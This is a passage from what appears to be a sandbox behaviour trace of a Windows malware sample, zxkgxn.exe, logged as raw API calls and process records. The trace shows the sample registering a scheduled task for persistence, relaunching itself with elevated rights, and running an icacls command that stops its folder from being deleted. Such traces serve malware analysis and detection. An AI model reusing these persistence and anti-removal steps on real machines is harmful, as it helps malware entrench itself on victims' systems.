CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0045.520] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x2a) returned 0x310fb08 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x310fb08, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0045.520] GetLastError () returned 0x0 [0045.520] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x70f608) returned 0x88 [0045.520] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x70f608, Size=0x8c) returned 0x30e8dd0 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0045.520] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x12) returned 0x3119f30 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x3119f30, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0045.520] GetLastError () returned 0x0 [0045.520] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30e8dd0) returned 0x8c [0045.520] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30e8dd0, Size=0x90) returned 0x30e8dd0 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0045.520] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x18) returned 0x3119ef0 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x3119ef0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0045.520] GetLastError () returned 0x0 [0045.520] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x30e8dd0) returned 0x90 [0045.520] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x30e8dd0, Size=0x94) returned 0x3068a58 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0045.520] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x46) returned 0x3148eb0 [0045.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x3148eb0, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0045.520] GetLastError () returned 0x0 [0045.521] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x3068a58) returned 0x94 [0045.521] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x3068a58, Size=0x98) returned 0x3068a58 [0045.521] GetLastError () returned 0x0 [0045.521] GetTimeZoneInformation (in: lpTimeZoneInformation=0x45d3e0 | out: lpTimeZoneInformation=0x45d3e0) returned 0x1 [0045.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Standard Time", cchWideChar=-1, lpMultiByteStr=0x45bd20, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18c15c | out: lpMultiByteStr="AUS Eastern Standard Time", lpUsedDefaultChar=0x18c15c) returned 26 [0045.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUS Eastern Daylight Time", cchWideChar=-1, lpMultiByteStr=0x45bd60, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x18c15c | out: lpMultiByteStr="AUS Eastern Daylight Time", lpUsedDefaultChar=0x18c15c) returned 26 [0045.528] GetLastError () returned 0x0 [0045.528] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x24) returned 0x3152e78 [0045.528] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x452028, cbMultiByte=-1, lpWideCharStr=0x3152e78, cchWideChar=18 | out: lpWideCharStr="%Y-%m-%dT%H:%M:%S") returned 18 [0045.528] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xa0) returned 0x719f40 [0045.528] GetLastError () returned 0x0 [0045.528] ITrigger:put_StartBoundary (This=0x27f0e38, StartBoundary="2019-06-30T19:02:03") returned 0x0 [0045.528] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x31223e0 | out: hHeap=0x620000) returned 1 [0045.528] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3134638 | out: hHeap=0x620000) returned 1 [0045.528] IUnknown:Release (This=0x27f0e38) returned 0x1 [0045.528] ITaskDefinition:get_Actions (in: This=0x27f0b88, ppActions=0x18c728 | out: ppActions=0x18c728*=0x27f0c00) returned 0x0 [0045.528] IActionCollection:Create (in: This=0x27f0c00, Type=0, ppAction=0x18c714 | out: ppAction=0x18c714*=0x27f0ec0) returned 0x0 [0045.529] IUnknown:Release (This=0x27f0c00) returned 0x1 [0045.529] IUnknown:QueryInterface (in: This=0x27f0ec0, riid=0x45007c*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18c730 | out: ppvObject=0x18c730*=0x27f0ec0) returned 0x0 [0045.529] IUnknown:Release (This=0x27f0ec0) returned 0x2 [0045.529] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x31223e0 [0045.529] IExecAction:put_Path (This=0x27f0ec0, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\\zxkgxn.exe") returned 0x0 [0045.529] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x31223e0 | out: hHeap=0x620000) returned 1 [0045.529] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x31223e0 [0045.529] IExecAction:put_Arguments (This=0x27f0ec0, Arguments="--Task") returned 0x0 [0045.529] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x31223e0 | out: hHeap=0x620000) returned 1 [0045.529] IUnknown:Release (This=0x27f0ec0) returned 0x1 [0045.529] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xc) returned 0x31223e0 [0045.529] ITaskFolder:RegisterTaskDefinition (in: This=0x8fff98, Path="Time Trigger Task", pDefinition=0x27f0b88, flags=6, UserId=0x18c1d0*(varType=0x0, wReserved1=0x313, wReserved2=0xc6e4, wReserved3=0x18, varVal1=0x41720b, varVal2=0x620000), password=0x18c1e0*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18c1f4*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xc8), ppTask=0x18c6fc | out: ppTask=0x18c6fc*=0x27f0f30) returned 0x0 [0045.650] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x31223e0 | out: hHeap=0x620000) returned 1 [0045.650] TaskScheduler:IUnknown:Release (This=0x8fff98) returned 0x0 [0045.650] TaskScheduler:IUnknown:Release (This=0x27f0b88) returned 0x0 [0045.650] IUnknown:Release (This=0x27f0f30) returned 0x0 [0045.651] CoUninitialize () [0045.651] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3130740 | out: hHeap=0x620000) returned 1 [0045.651] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3130678 | out: hHeap=0x620000) returned 1 [0045.651] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x31305b0 | out: hHeap=0x620000) returned 1 [0045.651] GetVersion () returned 0x1db10106 [0045.651] lstrcpyW (in: lpString1=0x18cc68, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0045.651] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0045.651] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0045.652] ShellExecuteExW (in: pExecInfo=0x18c924*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18c924*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0045.750] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30de210 | out: hHeap=0x620000) returned 1 [0045.750] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x31304e8 | out: hHeap=0x620000) returned 1 [0045.750] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x313c6d8 | out: hHeap=0x620000) returned 1 [0045.751] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6fc340 | out: hHeap=0x620000) returned 1 [0045.751] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6ca490 | out: hHeap=0x620000) returned 1 [0045.751] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x313cee0 | out: hHeap=0x620000) returned 1 [0045.751] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x30f4e40 | out: hHeap=0x620000) returned 1 [0045.751] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6cced8 | out: hHeap=0x620000) returned 1 [0045.752] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6cc6d0 | out: hHeap=0x620000) returned 1 [0045.752] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18dc0c | out: phModule=0x18dc0c) returned 0 [0045.752] ExitProcess (uExitCode=0x0) [0045.755] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x3152c38 | out: hHeap=0x620000) returned 1 [0045.755] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6cb058 | out: hHeap=0x620000) returned 1 [0045.760] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0xa50 Thread: id = 3 os_tid = 0xa54 Thread: id = 4 os_tid = 0xa58 Thread: id = 5 os_tid = 0xa5c Thread: id = 6 os_tid = 0xa60 Thread: id = 7 os_tid = 0xa64 Thread: id = 21 os_tid = 0xa68 Thread: id = 23 os_tid = 0xaf8 Thread: id = 24 os_tid = 0xafc Thread: id = 34 os_tid = 0xb0c Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0xa14" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 8 os_tid = 0x76c Thread: id = 9 os_tid = 0x758 Thread: id = 10 os_tid = 0x74c Thread: id = 11 os_tid = 0x72c Thread: id = 12 os_tid = 0x71c Thread: id = 13 os_tid = 0x718 Thread: id = 14 os_tid = 0x638 Thread: id = 15 os_tid = 0x154 Thread: id = 16 os_tid = 0x150 Thread: id = 17 os_tid = 0x128 Thread: id = 18 os_tid = 0x12c Thread: id = 19 os_tid = 0x120 Thread: id = 20 os_tid = 0x3fc Thread: id = 22 os_tid = 0xad0 Thread: id = 105 os_tid = 0x8d0 Thread: id = 159 os_tid = 0x73c Process: id = "3" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x335ec000" os_pid = "0xb00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa14" cmd_line = "icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xb04 Thread: id = 26 os_tid = 0xb08 Process: id = "4" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x5e7f000" os_pid = "0x50c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0xa14" cmd_line = "taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0xae8 Thread: id = 28 os_tid = 0x934 Thread: id = 29 os_tid = 0x578 Thread: id = 30 os_tid = 0x574 Thread: id = 31 os_tid = 0x520 Thread: id = 32 os_tid = 0x514 Thread: id = 33 os_tid = 0x510 Process: id = "5" image_name = "zxkgxn.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe" page_root = "0x326aa000" os_pid = "0xb10" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa14" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 35 os_tid = 0xb14 [0045.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0x645b9230, dwHighDateTime=0x1d52f22)) [0045.854] GetCurrentThreadId () returned 0xb14 [0045.854] GetCurrentProcessId () returned 0xb10 [0045.854] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=16619590223) returned 1 [0045.887] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0045.887] GetProcessHeap () returned 0x600000 [0045.888] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0045.888] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0045.888] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0045.888] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0045.888] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0045.888] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0045.889] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0045.890] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0045.891] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3bc) returned 0x611d08 [0045.891] GetCurrentThreadId () returned 0xb14 [0045.891] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x18) returned 0x610810 [0045.891] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x800) returned 0x6120d0 [0045.891] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x412697, hStdOutput=0xbb146fe6, hStdError=0x0)) [0045.891] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0045.891] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0045.891] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0045.891] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" --Admin IsNotAutoStart IsNotTask" [0045.891] GetEnvironmentStringsW () returned 0x6128d8* [0045.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0045.891] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x565) returned 0x6133b0 [0045.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x6133b0, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0045.891] FreeEnvironmentStringsW (penv=0x6128d8) returned 1 [0045.891] GetLastError () returned 0x7f [0045.892] SetLastError (dwErrCode=0x7f) [0045.892] GetLastError () returned 0x7f [0045.892] SetLastError (dwErrCode=0x7f) [0045.892] GetLastError () returned 0x7f [0045.892] SetLastError (dwErrCode=0x7f) [0045.892] GetACP () returned 0x4e4 [0045.892] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x0, Size=0x220) returned 0x613920 [0045.892] GetLastError () returned 0x7f [0045.892] SetLastError (dwErrCode=0x7f) [0045.892] IsValidCodePage (CodePage=0x4e4) returned 1 [0045.892] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0045.892] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0045.892] GetLastError () returned 0x7f [0045.892] SetLastError (dwErrCode=0x7f) [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0045.892] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0045.892] GetLastError () returned 0x7f [0045.892] SetLastError (dwErrCode=0x7f) [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0045.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 